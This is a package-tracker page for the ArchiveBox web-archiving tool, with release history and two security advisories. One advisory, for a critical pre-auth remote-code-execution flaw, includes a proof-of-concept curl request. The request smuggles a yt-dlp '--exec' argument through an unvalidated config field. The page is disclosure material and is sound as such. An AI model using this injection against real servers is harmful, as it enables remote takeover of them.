archivebox

🗃 Open source self-hosted web archiving. Takes URLs/browser history/bookmarks/Pocket/Pinboard/etc., saves HTML, JS, PDFs, media, and more...

View on Pypi

View on Github

Activity

Latest release: 10h ago
Total releases: 536
Cadence: ~daily
Last 12 months: 460

Reach

Stars: 28.4k

Details

License: MIT
First release: Jul 28, 2020

Releases

Version	Released
`0.9.35rc440` pre	Sep 14, 2026
`0.9.35rc439` pre	Sep 11, 2026
`0.9.35rc438` pre	Sep 11, 2026
`0.9.35rc437` pre	Sep 07, 2026
`0.9.35rc436` pre	Sep 07, 2026
`0.9.35rc433` pre	Sep 04, 2026
`0.9.35rc431` pre	Sep 04, 2026
`0.9.35rc430` pre	Sep 04, 2026
`0.9.35rc429` pre	Sep 04, 2026
`0.9.35rc428` pre	Sep 03, 2026
`0.9.35rc427` pre	Sep 03, 2026
`0.9.35rc426` pre	Sep 03, 2026
`0.9.35rc425` pre	Sep 03, 2026
`0.9.35rc424` pre	Sep 03, 2026
`0.9.35rc423` pre	Sep 03, 2026
`0.9.35rc422` pre	Sep 03, 2026
`0.9.35rc421` pre	Sep 03, 2026
`0.9.35rc420` pre	Sep 03, 2026
`0.9.35rc419` pre	Sep 03, 2026
`0.9.35rc418` pre	Sep 03, 2026
`0.9.35rc417` pre	Sep 03, 2026
`0.9.35rc416` pre	Sep 03, 2026
`0.9.35rc415` pre	Sep 03, 2026
`0.9.35rc413` pre	Sep 03, 2026
`0.9.35rc412` pre	Sep 03, 2026
`0.9.35rc411` pre	Sep 03, 2026
`0.9.35rc410` pre	Sep 02, 2026
`0.9.35rc408` pre	Sep 02, 2026
`0.9.35rc407` pre	Sep 02, 2026
`0.9.35rc405` pre	Sep 02, 2026
`0.9.35rc404` pre	Sep 02, 2026
`0.9.35rc403` pre	Sep 02, 2026
`0.9.35rc402` pre	Sep 02, 2026
`0.9.35rc401` pre	Sep 02, 2026
`0.9.35rc398` pre	Sep 02, 2026
`0.9.35rc397` pre	Sep 02, 2026
`0.9.35rc396` pre	Sep 02, 2026
`0.9.35rc395` pre	Sep 02, 2026
`0.9.35rc394` pre	Sep 02, 2026
`0.9.35rc393` pre	Sep 02, 2026
`0.9.35rc392` pre	Sep 02, 2026
`0.9.35rc390` pre	Sep 02, 2026
`0.9.35rc389` pre	Sep 02, 2026
`0.9.35rc385` pre	Sep 02, 2026
`0.9.35rc384` pre	Sep 02, 2026
`0.9.35rc381` pre	Sep 01, 2026
`0.9.35rc377` pre	Sep 01, 2026
`0.9.35rc376` pre	Sep 01, 2026
`0.9.35rc375` pre	Sep 01, 2026
`0.9.35rc374` pre	Sep 01, 2026

1–50 of 536

Repository

archivebox/archivebox

Forks: 1.6k
Open issues: 159
Language: Python

pocket
wget
browser-bookmarks
pinboard
chromium
firefox

Dependencies (44)

Depends on

0.9.35rc440

Used by

Supply-chain exposure

2 tracked projects depend on this, <1% of every package we track.

A known CVE here directly exposes every one of them.

Known CVEs (2)

CVE-2026-42601 PYSEC-2026-283 GHSA-3h23-7824-pj8r Jun 29, 2026

ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView

Critical
Network Low None None

The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.

When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.

Affected code:

core/views.py:887 - user config extracted with no validation:

custom_config = form.cleaned_data.get("config") or {}

core/views.py:918 - merged into crawl config:

config.update(custom_config)

config/configset.py:255-256 - crawl config applied with high priority:

if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config)

hooks.py:398-411 - config exported as env vars:

for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value)

plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:

ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra)

PoC (pre-auth when PUBLIC_ADD_VIEW=True):

curl -X POST http://localhost:8000/add/ \ -d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \ -d "depth=0" \ -d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}"

After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.

Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.

Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.

Affected versions

0.4.110.4.120.4.130.4.140.4.150.4.160.4.170.4.180.4.190.4.200.4.210.4.6

+ 64 more Show less

0.4.80.4.90.5.00.5.10.5.20.5.30.5.40.6.00.6.10.6.20.7.00.7.10.7.20.7.40.8.5rc00.8.5rc10.8.5rc100.8.5rc110.8.5rc120.8.5rc130.8.5rc140.8.5rc150.8.5rc160.8.5rc170.8.5rc180.8.5rc20.8.5rc200.8.5rc210.8.5rc220.8.5rc230.8.5rc240.8.5rc250.8.5rc260.8.5rc270.8.5rc280.8.5rc290.8.5rc30.8.5rc300.8.5rc310.8.5rc320.8.5rc330.8.5rc340.8.5rc350.8.5rc360.8.5rc370.8.5rc380.8.5rc390.8.5rc40.8.5rc400.8.5rc410.8.5rc420.8.5rc430.8.5rc440.8.5rc450.8.5rc460.8.5rc470.8.5rc480.8.5rc490.8.5rc50.8.5rc500.8.5rc510.8.5rc60.8.5rc80.8.5rc9

References

https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r
https://nvd.nist.gov/vuln/detail/CVE-2026-42601
https://github.com/ArchiveBox/ArchiveBox
https://pypi.org/project/archivebox
https://github.com/advisories/GHSA-3h23-7824-pj8r

Updated Jul 01, 2026 · Source: OSV.dev
CVE-2023-45815 PYSEC-2023-229 GHSA-cr45-98w9-gwqx Oct 19, 2023

5.4 / 10
Medium
Network Low Low Required Changed Low Low None

ArchiveBox is an open source self-hosted web archiving system. Any users who are using the wget extractor and view the content it outputs. The impact is potentially severe if you are logged in to the ArchiveBox admin site in the same browser session and view an archived malicious page designed to target your ArchiveBox instance. Malicious Javascript could potentially act using your logged-in admin credentials and add/remove/modify snapshots, add/remove/modify ArchiveBox users, and generally do anything an admin user could do. The impact is less severe for non-logged-in users, as malicious Javascript cannot modify any archives, but it can still read all the other archived content by fetching the snapshot index and iterating through it. Because all of ArchiveBox's archived content is served from the same host and port as the admin panel, when archived pages are viewed the JS executes in the same context as all the other archived pages (and the admin panel), defeating most of the browser's usual CORS/CSRF security protections and leading to this issue. A patch is being developed in https://github.com/ArchiveBox/ArchiveBox/issues/239. As a mitigation for this issue would be to disable the wget extractor by setting archivebox config --set SAVE_WGET=False, ensure you are always logged out, or serve only a static HTML version of your archive.

Affected versions

0.4.110.4.120.4.130.4.140.4.150.4.160.4.170.4.180.4.190.4.200.4.210.4.6

+ 10 more Show less

0.4.80.4.90.5.00.5.10.5.20.5.30.5.40.6.00.6.10.6.2

Fixed in

0.7.0

References

https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-cr45-98w9-gwqx
https://github.com/ArchiveBox/ArchiveBox/issues/239

Updated Nov 08, 2023 · Source: OSV.dev

Insights

Releases per month

last 12 months

Release mix

minor 3
patch 22
pre 510

536 releases

Dependencies over time

per release

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More